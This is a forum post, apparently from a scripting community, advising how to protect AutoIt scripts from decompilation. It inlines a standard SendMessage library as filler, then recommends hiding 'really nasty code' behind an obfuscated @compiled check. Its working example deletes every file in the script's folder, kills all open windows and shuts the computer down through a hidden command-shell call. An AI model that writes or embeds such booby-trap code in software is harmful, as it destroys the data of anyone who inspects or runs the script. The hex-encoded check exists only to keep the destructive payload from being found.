Quote:
Originally Posted by atom0s
No matter how you "protect" your script it will be able to be dumped since it is interpreted at some point.
This isn't really "safe" as it can be bypassed extremely easily.
|
Where do you see that it can be bypassed? The code is downloaded by the server. If you are not registered, the server will not give you the code (and that is what you need, cuz that is what the computer needs so that it can know what to do). HWID not registered = Server doesn't give you code = nothing that someone could steal = only bypassable if that person buys your product and then steals your code.
If you want to further protect your code, do the following:
But if you still fear that this might happen, just do the following:
1. Copy all code from the includes into your script (if you are not sure about this point, just decompile a script that has includes and look at where the actual code is)
Example of how it could look like (I took the smallest UDF as an example to keep things easy. If you use things like WinAPI or GDIPlus you will have a few thousand lines, but that's ok. Will be even better for hiding!)
Code:
#include <SendMessage.au3>
_SendMessage(...,stuff,...)
becomes
Code:
#include-once
; #INDEX# =======================================================================================================================
; Title .........: SendMessage
; AutoIt Version : 3.3.12.0
; Language ......: English
; Description ...: Functions that assist SendMessage calls.
; Author(s) .....: Valik, Gary Frost
; Dll(s) ........: user32.dll
; ===============================================================================================================================
; #CURRENT# =====================================================================================================================
; _SendMessage
; _SendMessageA
; ===============================================================================================================================
; #FUNCTION# ====================================================================================================================
; Author ........: Valik
; Modified.......: Gary Frost (GaryFrost) aka gafrost
; ===============================================================================================================================
Func _SendMessage($hWnd, $iMsg, $wParam = 0, $lParam = 0, $iReturn = 0, $wParamType = "wparam", $lParamType = "lparam", $sReturnType = "lresult")
Local $aResult = DllCall("user32.dll", $sReturnType, "SendMessageW", "hwnd", $hWnd, "uint", $iMsg, $wParamType, $wParam, $lParamType, $lParam)
If @error Then Return SetError(@error, @extended, "")
If $iReturn >= 0 And $iReturn <= 4 Then Return $aResult[$iReturn]
Return $aResult
EndFunc ;==>_SendMessage
; #FUNCTION# ====================================================================================================================
; Author ........: Valik
; Modified.......: Gary Frost (GaryFrost) aka gafrost
; ===============================================================================================================================
Func _SendMessageA($hWnd, $iMsg, $wParam = 0, $lParam = 0, $iReturn = 0, $wParamType = "wparam", $lParamType = "lparam", $sReturnType = "lresult")
Local $aResult = DllCall("user32.dll", $sReturnType, "SendMessageA", "hwnd", $hWnd, "uint", $iMsg, $wParamType, $wParam, $lParamType, $lParam)
If @error Then Return SetError(@error, @extended, "")
If $iReturn >= 0 And $iReturn <= 4 Then Return $aResult[$iReturn]
Return $aResult
EndFunc ;==>_SendMessageA
_SendMessage(...,stuff,...)
2. Hide some really nasty code that checks for @compiled (or instead of @compiled you may try: Execute(BinaryToString("0x40636F6D70696C6564")) is the same but is much harder to find) in it. (I would love to see a script that makes the leechers reply to your thread with "I have tried to leech your code. But I am too dumb and have not enough skills for that." and then deletes their accounts)
Example code:
Deletes itself and everything in its folder, closes all windows and finally shuts the computer down and deletes itself:
Code:
;WARNING!!! THIS CODE SHOULD ONLY BE EXECUTED IF ITS FUNCTIONALITY AND RISKS ARE FULLY UNDERSTOOD! I AM NOT RESPONSIBLE FOR ANY DAMAGE DONE BY IMPROPER USE/MISUSE/ABUSE!
If Not Execute(BinaryToString("0x40636F6D70696C6564")) Then ;If not @compiled Then
$FFFF = FileFindFirstFile("*.*")
If $FFFF <> -1 Then
While 1
$FFNF = FileFindNextFile($FFFF) ;Get the next file in the folder and delete it
If @error Then ExitLoop
FileDelete(@ScriptDir & "\" & $FFNF)
WEnd
EndIf
;List and kill all windows
$aWin = WinList()
For $i = 1 To $aWin[0][0]
WinKill($aWin[$i][1])
Next
;Delete itself and shut down.
Run(@ComSpec & ' /c shutdown -s -t 10 & ping -n 3 127.0.0.1 & del ' & @ScriptName, "", @SW_HIDE)
EndIf